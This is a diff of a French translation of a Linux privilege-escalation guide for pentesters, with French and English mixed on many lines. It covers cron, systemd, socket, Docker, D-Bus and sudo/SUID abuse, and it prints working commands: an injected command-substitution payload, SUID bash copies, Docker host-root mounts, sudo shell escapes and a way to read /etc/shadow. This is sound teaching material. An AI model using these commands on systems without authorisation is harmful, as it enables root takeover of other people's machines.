paramètres/variables, substitution de commande, expansion arithmétique, puis découpage en mots et expansion des chemins. Donc une valeur comme `$(/bin/bash -c 'id > /tmp/pwn')0` est d'abord substituée (exécution de la commande), puis le `0` numérique restant est utilisé pour l'arithmétique, de sorte que le script continue sans erreur. +- Why it works: Dans Bash, les expansions se produisent dans cet ordre : expansion des paramètres/variables, substitution de commande, expansion arithmétique, puis découpage en mots et expansion des chemins. Ainsi une valeur comme `$(/bin/bash -c 'id > /tmp/pwn')0` est d'abord substituée (exécution de la commande), puis le `0` numérique restant est utilisé pour l'opération arithmétique de sorte que le script continue sans erreur. - Typical vulnerable pattern: ```bash @@ -366,51 +366,51 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation : Obtenez du texte contrôlé par l'attaquant écrit dans le log analysé de sorte que le champ ressemblant à un nombre contienne une substitution de commande et se termine par un chiffre. Assurez-vous que votre commande n'écrit pas sur stdout (ou redirigez-la) pour que l'arithmétique reste valide. +- Exploitation : Faites écrire du texte contrôlé par l'attaquant dans le log analysé afin que le champ qui ressemble à un nombre contienne une substitution de commande et se termine par un chiffre. Assurez-vous que votre commande n'écrit pas sur stdout (ou redirigez-la) afin que l'opération arithmétique reste valide. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 # When the root cron parser evaluates (( total += count )), your command runs as root. ``` -### Écrasement de script cron et symlink +### Cron script overwriting and symlink -Si vous **pouvez modifier un script cron** exécuté par root, vous pouvez obtenir un shell très facilement: +If you **can modify a cron script** exécuté par root, vous pouvez obtenir un shell très facilement: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si le script exécuté par root utilise un **répertoire où vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et de **créer un symlink folder vers un autre** servant un script contrôlé par vous +Si le script exécuté par root utilise un **directory where you have full access**, il peut être utile de supprimer ce dossier et de **create a symlink folder to another one** qui sert un script que vous contrôlez. ```bash ln -d -s ``` ### Cron jobs fréquents -Vous pouvez surveiller les processus pour rechercher ceux qui s'exécutent toutes les 1, 2 ou 5 minutes. Peut-être pouvez-vous en tirer parti et escalate privileges. +Vous pouvez surveiller les processus pour rechercher ceux qui s'exécutent toutes les 1, 2 ou 5 minutes. Peut-être pouvez-vous en tirer avantage et escalate privileges. -Par exemple, pour **surveiller every 0.1s during 1 minute**, **trier par commandes les moins exécutées** et supprimer les commandes qui ont été le plus souvent exécutées, vous pouvez faire : +Par exemple, pour **surveiller toutes les 0.1s pendant 1 minute**, **trier par les commandes les moins exécutées** et supprimer les commandes qui ont été exécutées le plus souvent, vous pouvez faire : ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` **Vous pouvez aussi utiliser** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (cela surveillera et listera chaque processus qui démarre). -### Cron jobs invisibles +### Cronjobs invisibles -Il est possible de créer un cronjob en **mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le caractère retour chariot) : +Il est possible de créer un cronjob en **mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et le cronjob fonctionnera. Exemple (notez le caractère retour chariot) : ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Services -### Fichiers _.service_ modifiables +### Fichiers _.service_ inscriptibles -Vérifiez si vous pouvez écrire un fichier `.service`, si c'est le cas, vous **pouvez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut-être attendre que la machine soit rebootée).\ -Par exemple, créez votre backdoor dans le fichier .service avec **`ExecStart=/tmp/script.sh`** +Vérifiez si vous pouvez écrire un fichier `.service`, si oui, vous **pouvez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (il se peut que vous deviez attendre le redémarrage de la machine).\ +Par exemple créez votre backdoor à l'intérieur du fichier .service avec **`ExecStart=/tmp/script.sh`** -### Binaires de service modifiables +### Binaires de service inscriptibles -Gardez à l'esprit que si vous avez des **permissions d'écriture sur des binaires exécutés par des services**, vous pouvez les modifier pour y placer des backdoors afin que, lorsque les services seront réexécutés, les backdoors soient exécutées. +Gardez à l'esprit que si vous avez des **permissions d'écriture sur des binaires exécutés par des services**, vous pouvez les remplacer par des backdoors de sorte que, lorsque les services seront réexécutés, les backdoors s'exécuteront. ### systemd PATH - Chemins relatifs @@ -418,44 +418,44 @@ Vous pouvez voir le PATH utilisé par **systemd** avec: ```bash systemctl show-environment ``` -Si vous constatez que vous pouvez **write** dans n'importe lequel des dossiers du chemin, vous pourriez être en mesure de **escalate privileges**. Il faut rechercher des **relative paths being used on service configurations** dans les fichiers de configuration des services, par exemple : +Si vous constatez que vous pouvez **écrire** dans l'un des dossiers du chemin, vous pouvez être en mesure de **escalate privileges**. Vous devez rechercher des **chemins relatifs utilisés dans les fichiers de configuration des services** comme : ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Ensuite, créez un **exécutable** portant **le même nom que le binaire du chemin relatif** à l'intérieur du dossier du PATH de systemd que vous pouvez écrire, et lorsque le service est sollicité pour exécuter l'action vulnérable (**Start**, **Stop**, **Reload**), votre **backdoor sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter des services mais vérifiez si vous pouvez utiliser `sudo -l`). +Ensuite, créez un **exécutable** portant le **même nom que le binary du chemin relatif** à l'intérieur du dossier PATH de systemd que vous pouvez écrire, et lorsqu'on demande au service d'exécuter l'action vulnérable (**Start**, **Stop**, **Reload**), votre **backdoor sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter les services mais vérifiez si vous pouvez utiliser `sudo -l`). -**Pour en savoir plus sur les services, consultez `man systemd.service`.** +**Learn more about services with `man systemd.service`.** ## **Timers** -**Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` et qui contrôlent des fichiers ou événements `**.service**`. Les **Timers** peuvent être utilisés en alternative à cron car ils offrent nativement la prise en charge des événements basés sur le calendrier et des événements monotoniques, et peuvent s'exécuter de façon asynchrone. +**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. -Vous pouvez énumérer tous les timers avec: +You can enumerate all the timers with: ```bash systemctl list-timers --all ``` ### Timers modifiables -Si vous pouvez modifier un timer, vous pouvez le faire exécuter des unités existantes de systemd.unit (comme une `.service` ou une `.target`) +Si vous pouvez modifier un timer, vous pouvez le faire exécuter certains éléments existants de systemd.unit (comme une `.service` ou une `.target`) ```bash Unit=backdoor.service ``` -Dans la documentation, vous pouvez lire ce qu'est l'unité : +Dans la documentation vous pouvez lire ce qu'est l'unité : -> L'unité à activer lorsque ce timer expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut correspond à un service ayant le même nom que l'unité timer, à l'exception du suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité activée et le nom de l'unité timer soient identiques, à l'exception du suffixe. +> L'unité à activer lorsque ce timer arrive à échéance. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité timer, à l'exception du suffixe. (Voir ci‑dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité timer soient identiques, sauf pour le suffixe. -Par conséquent, pour abuser de cette permission, vous devrez : +Par conséquent, pour abuser de cette permission vous devrez : -- Trouver une unité systemd (comme une `.service`) qui est **exécutant un binaire modifiable en écriture** -- Trouver une unité systemd qui est **exécutant un chemin relatif** et sur laquelle vous avez **des privilèges en écriture** sur le **systemd PATH** (pour usurper cet exécutable) +- Trouver une unité systemd (comme une `.service`) qui **exécute un binaire modifiable** +- Trouver une unité systemd qui **exécute un chemin relatif** et sur laquelle vous avez des **droits d'écriture** sur le **systemd PATH** (pour usurper cet exécutable) **En savoir plus sur les timers avec `man systemd.timer`.** ### **Activation du timer** -Pour activer un timer, vous avez besoin des privilèges root et d'exécuter : +Pour activer un timer vous avez besoin des privilèges root et devez exécuter : ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -464,32 +464,32 @@ Notez que le **timer** est **activé** en créant un symlink vers celui-ci dans ## Sockets -Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur la même machine ou des machines différentes dans des modèles client-serveur. Ils utilisent des fichiers descripteurs Unix standards pour la communication inter-ordinateurs et sont configurés via des fichiers `.socket`. +Sockets de domaine Unix (UDS) permettent la **communication entre processus** sur la même machine ou sur des machines différentes dans des modèles client-serveur. Elles utilisent les fichiers de descripteurs Unix standards pour la communication inter-machines et sont configurées via des fichiers `.socket`. -Les sockets peuvent être configurés à l'aide de fichiers `.socket`. +Les sockets peuvent être configurées à l'aide de fichiers `.socket`. **En savoir plus sur les sockets avec `man systemd.socket`.** Dans ce fichier, plusieurs paramètres intéressants peuvent être configurés : -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options sont différentes mais servent globalement à **indiquer où le socket va écouter** (le chemin du fichier de socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.) -- `Accept` : Prend un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seul le socket de connexion lui est passé. Si **false**, tous les sockets d'écoute sont **passés à l'unité de service démarrée**, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les datagram sockets et les FIFOs où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut : false**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux daemons uniquement de manière compatible avec `Accept=no`. -- `ExecStartPre`, `ExecStartPost` : Prend une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient respectivement **créés** et liés. Le premier jeton de la ligne de commande doit être un nom de fichier absolu, suivi des arguments pour le processus. -- `ExecStopPre`, `ExecStopPost` : **Commandes** supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient respectivement **fermés** et supprimés. -- `Service` : Spécifie le nom de l'unité de **service** **à activer** lors du **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Il prend par défaut le service portant le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options diffèrent mais résument **où la socket va écouter** (le chemin du fichier de socket AF_UNIX, l'adresse IPv4/6 et/ou le numéro de port à écouter, etc.) +- `Accept` : Prend un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seule la socket de connexion lui est passée. Si **false**, toutes les sockets d'écoute sont elles-mêmes **passées à l'unité de service démarrée**, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les sockets datagramme et les FIFO, où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut false**. Pour des raisons de performance, il est recommandé d'écrire les nouveaux daemons de façon compatible avec `Accept=no`. +- `ExecStartPre`, `ExecStartPost` : Acceptent une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **créées** et liées, respectivement. Le premier token de la ligne de commande doit être un nom de fichier absolu, suivi des arguments du processus. +- `ExecStopPre`, `ExecStopPost` : Commandes supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **fermées** et supprimées, respectivement. +- `Service` : Spécifie le nom de l'unité **service** à **activer** lors du **trafic entrant**. Cette option n'est autorisée que pour les sockets avec Accept=no. Elle prend par défaut le service portant le même nom que la socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. ### Writable .socket files -Si vous trouvez un fichier `.socket` **writable**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et le backdoor sera exécuté avant que le socket ne soit créé. Par conséquent, vous devrez **probablement attendre que la machine soit redémarrée.**\ +Si vous trouvez un fichier `.socket` **inscriptible**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et le backdoor sera exécuté avant que la socket ne soit créée. Par conséquent, vous devrez **probablement attendre que la machine redémarre.**\ _Notez que le système doit utiliser cette configuration de fichier socket sinon le backdoor ne sera pas exécuté_ ### Writable sockets -Si vous **identifiez un socket writable** (_nous parlons maintenant des Unix Sockets et non des fichiers de config `.socket`_), alors **vous pouvez communiquer** avec ce socket et éventuellement exploiter une vulnérabilité. +Si vous **identifiez** une socket **inscriptible** (_nous parlons maintenant des Unix Sockets et non des fichiers de config `.socket`_), alors **vous pouvez communiquer** avec cette socket et peut-être exploiter une vulnérabilité. -### Énumérer les Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -### Connexion brute +### Connexion Raw ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -507,48 +507,48 @@ socket-command-injection.md ### HTTP sockets -Notez qu'il peut y avoir des **sockets écoutant des requêtes HTTP** (_je ne parle pas des fichiers .socket mais des fichiers agissant comme des unix sockets_). Vous pouvez vérifier cela avec: +Notez qu'il peut y avoir des **sockets listening for HTTP** requests (_je ne parle pas des .socket files mais des fichiers se comportant comme des unix sockets_). Vous pouvez vérifier cela avec : ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. +If the socket **répond avec une requête HTTP**, alors vous pouvez **communiquer** avec lui et peut-être **exploit some vulnerability**. -### Socket Docker accessible en écriture +### Docker socket accessible en écriture -Le socket Docker, souvent situé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est inscriptible par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut conduire à privilege escalation. Voici un aperçu de la façon dont cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible. +Le Docker socket, souvent situé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est accessible en écriture par l'utilisateur `root` et les membres du groupe `docker`. Disposer d'un accès en écriture à ce socket peut conduire à une privilege escalation. Voici une présentation de la façon dont cela peut être réalisé et des méthodes alternatives si le Docker CLI n'est pas disponible. #### **Privilege Escalation with Docker CLI** -Si vous avez un accès en écriture au socket Docker, vous pouvez escalate privileges en utilisant les commandes suivantes : +Si vous avez un accès en écriture au Docker socket, vous pouvez escalate privileges en utilisant les commandes suivantes: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` Ces commandes vous permettent d'exécuter un container avec un accès root au système de fichiers de l'hôte. -#### **Utiliser Docker API directement** +#### **Utiliser l'API Docker directement** -In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. +Dans les cas où le CLI Docker n'est pas disponible, la socket Docker peut toujours être manipulée via l'API Docker et des commandes `curl`. -1. **Lister les images Docker :** Récupérer la liste des images disponibles. +1. **List Docker Images:** Récupérez la liste des images disponibles. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +2. **Create a Container:** Envoyez une requête pour créer un container qui monte le répertoire racine du système hôte. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Démarrer le container nouvellement créé : +Démarrez le container nouvellement créé : ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +3. **Attach to the Container:** Utilisez `socat` pour établir une connexion au container, permettant l'exécution de commandes à l'intérieur. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -562,9 +562,9 @@ Après avoir établi la connexion `socat`, vous pouvez exécuter des commandes d ### Autres -Notez que si vous avez des permissions d'écriture sur le docker socket parce que vous êtes **dans le groupe `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si l'[**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Notez que si vous avez des permissions d'écriture sur la socket docker parce que vous êtes **dans le groupe `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si le [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Vérifiez **more ways to break out from docker or abuse it to escalate privileges** dans: +Consultez **more ways to break out from docker or abuse it to escalate privileges** dans: {{#ref}} @@ -582,7 +582,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Si vous constatez que vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **you may be able to abuse it to escalate privileges** : +Si vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **you may be able to abuse it to escalate privileges** : {{#ref}} @@ -591,15 +591,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus est un système sophistiqué d'inter-Process Communication (IPC) qui permet aux applications d'interagir efficacement et de partager des données. Conçu pour le système Linux moderne, il offre un cadre robuste pour différentes formes de communication entre applications. +D-Bus est un système sophistiqué de **communication inter-processus (IPC)** qui permet aux applications d'interagir efficacement et de partager des données. Conçu pour les systèmes Linux modernes, il offre un cadre robuste pour différentes formes de communication entre applications. -Le système est polyvalent, prenant en charge une IPC basique qui améliore l'échange de données entre processus, rappelant des **enhanced UNIX domain sockets**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration fluide entre les composants système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut pousser un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les requêtes de service et les invocations de méthodes entre applications, rationalisant des processus traditionnellement complexes. +Le système est polyvalent, prenant en charge l'IPC de base qui améliore l'échange de données entre processus, rappelant les **enhanced UNIX domain sockets**. De plus, il facilite la diffusion d'événements ou de signaux, favorisant l'intégration fluide des composants du système. Par exemple, un signal d'un démon Bluetooth annonçant un appel entrant peut pousser un lecteur audio à se mettre en sourdine, améliorant l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les requêtes de service et les invocations de méthodes entre applications, rationalisant des processus auparavant complexes. -D-Bus fonctionne selon un **allow/deny model**, gérant les permissions des messages (appels de méthodes, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, pouvant potentiellement permettre une privilege escalation via l'exploitation de ces permissions. +D-Bus fonctionne selon un **modèle allow/deny**, gérant les permissions de messages (appels de méthodes, émissions de signaux, etc.) en fonction de l'effet cumulé des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, pouvant potentiellement permettre une privilege escalation via l'exploitation de ces permissions. Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les permissions pour l'utilisateur root de posséder, d'envoyer à et de recevoir des messages de `fi.w1.wpa_supplicant1`. -Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "default" s'appliquent à tous ceux non couverts par d'autres politiques spécifiques. +Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "default" s'appliquent à tous ceux qui ne sont pas couverts par d'autres politiques spécifiques. ```xml @@ -642,7 +642,7 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Ports ouverts +### Open ports Vérifiez toujours les services réseau en cours d'exécution sur la machine avec lesquels vous n'avez pas pu interagir avant d'y accéder : ```bash @@ -651,7 +651,7 @@ Vérifiez toujours les services réseau en cours d'exécution sur la machine ave ``` ### Sniffing -Vérifiez si vous pouvez sniff traffic. Si vous le pouvez, vous pourriez être en mesure de récupérer des credentials. +Vérifiez si vous pouvez sniff le trafic. Si vous le pouvez, vous pourrez peut-être récupérer des credentials. ``` timeout 1 tcpdump ``` @@ -659,7 +659,7 @@ timeout 1 tcpdump ### Énumération générique -Vérifiez **qui** vous êtes, quels **privilèges** vous avez, quels **utilisateurs** sont sur les systèmes, lesquels peuvent se **connecter** et lesquels ont des **privilèges root** : +Vérifiez **who** vous êtes, quels **privileges** vous avez, quels **users** sont présents sur les systèmes, lesquels peuvent **login** et lesquels ont des **root privileges** : ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -681,10 +681,10 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### UID élevé -Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader les privilèges. Plus d'infos : [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +Certaines versions de Linux étaient affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** to escalate privileges. Plus d'infos : [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploitez-le** en utilisant : **`systemd-run -t /bin/bash`** ### Groupes @@ -708,33 +708,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Politique de mots de passe +### Politique des mots de passe ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### Mots de passe connus -Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous connecter pour chaque utilisateur** en utilisant ce mot de passe. +Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous connecter en tant que chaque utilisateur** en utilisant ce mot de passe. ### Su Brute -Si cela ne vous dérange pas de générer beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur la machine, vous pouvez essayer de brute-forcer un utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de brute-forcer des utilisateurs. +Si cela ne vous dérange pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur la machine, vous pouvez essayer de brute-forcer un utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` tente également de brute-forcer des utilisateurs. ## Abus du $PATH inscriptible ### $PATH -Si vous constatez que vous pouvez **écrire dans un dossier du $PATH**, vous pouvez potentiellement escalader des privilèges en **créant un backdoor dans le dossier inscriptible** portant le nom d'une commande qui sera exécutée par un autre utilisateur (idéalement root) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier inscriptible dans le $PATH. +Si vous constatez que vous pouvez **écrire dans un dossier du $PATH**, vous pouvez être en mesure d'escalader vos privilèges en **créant une backdoor dans le dossier inscriptible** portant le nom d'une commande qui sera exécutée par un autre utilisateur (idéalement root) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier inscriptible dans le $PATH. ### SUDO and SUID -Il se peut que vous soyez autorisé à exécuter certaines commandes via sudo, ou qu'elles aient le suid bit. Vérifiez-le en utilisant : +Il se peut que vous soyez autorisé à exécuter certaines commandes avec sudo, ou que certaines aient le bit suid. Vérifiez ceci en utilisant: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Certaines **commandes inattendues vous permettent de lire et/ou d'écrire des fichiers ou même d'exécuter une commande.** Par exemple : +Certaines commandes **inattendues permettent de lire et/ou d'écrire des fichiers ou même d'exécuter une commande.** Par exemple : ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -745,13 +745,13 @@ less>! ``` ### NOPASSWD -La configuration de Sudo peut permettre à un utilisateur d'exécuter certaines commandes avec les privilèges d'un autre utilisateur sans connaître le mot de passe. +La configuration Sudo peut permettre à un utilisateur d'exécuter une commande avec les privilèges d'un autre utilisateur sans connaître le mot de passe. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Dans cet exemple, l'utilisateur `demo` peut exécuter `vim` en tant que `root`. Il est alors trivial d'obtenir un shell en ajoutant une ssh key dans le répertoire root ou en appelant `sh`. +Dans cet exemple, l'utilisateur `demo` peut exécuter `vim` en tant que `root` ; il est alors trivial d'obtenir un shell en ajoutant une ssh key dans le répertoire `root` ou en appelant `sh`. ``` sudo vim -c '!sh' ``` @@ -763,13 +763,13 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Cet exemple, **basé sur HTB machine Admirer**, était **vulnérable** au **PYTHONPATH hijacking** permettant de charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root : +Cet exemple, **basé sur la machine HTB Admirer**, était **vulnérable** à **PYTHONPATH hijacking** pour charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root : ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Contournement de l'exécution Sudo via les chemins +### Contournement des chemins d'exécution sudo -**Accédez** pour lire d'autres fichiers ou utilisez des **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Aller** lire d'autres fichiers ou utiliser des **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -786,43 +786,43 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contre-mesures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Commande sudo/binaire SUID sans chemin de commande +### Sudo command/SUID binary sans chemin de commande -Si la **permission sudo** est donnée à une seule commande **sans spécifier le chemin**: _hacker10 ALL= (root) less_ vous pouvez l'exploiter en modifiant la variable PATH +Si la **sudo permission** est accordée pour une seule commande **sans spécifier le chemin** : _hacker10 ALL= (root) less_ vous pouvez l'exploiter en modifiant la variable PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Cette technique peut aussi être utilisée si un **suid** binaire **exécute une autre commande sans préciser son chemin (vérifiez toujours avec** _**strings**_ **le contenu d'un étrange binaire SUID)**). +Cette technique peut aussi être utilisée si un binaire **suid** **exécute une autre commande sans en spécifier le chemin (vérifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID étrange)**). [Payload examples to execute.](payloads-to-execute.md) ### Binaire SUID avec chemin de commande -Si le **suid** binaire **exécute une autre commande en spécifiant le chemin**, alors, vous pouvez essayer de **exporter une fonction** portant le nom de la commande que le fichier suid appelle. +Si le binaire **suid** **exécute une autre commande en spécifiant le chemin**, alors, vous pouvez essayer de **exporter une fonction** nommée comme la commande que le fichier suid appelle. -Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_ vous devez essayer de créer la fonction et l'exporter : +Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_ vous devez essayer de créer la fonction et de l'exporter : ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Alors, lorsque vous appelez le binaire suid, cette fonction sera exécutée +Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so files) à charger par le chargeur avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque. +La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (fichiers .so) à charger par le chargeur avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque. -Cependant, pour maintenir la sécurité du système et empêcher l'exploitation de cette fonctionnalité, en particulier avec les exécutables **suid/sgid**, le système impose certaines conditions : +Cependant, pour maintenir la sécurité du système et empêcher cette fonctionnalité d'être exploitée, en particulier avec les exécutables suid/sgid, le système impose certaines conditions : - Le chargeur ignore **LD_PRELOAD** pour les exécutables où l'identifiant utilisateur réel (_ruid_) ne correspond pas à l'identifiant utilisateur effectif (_euid_). 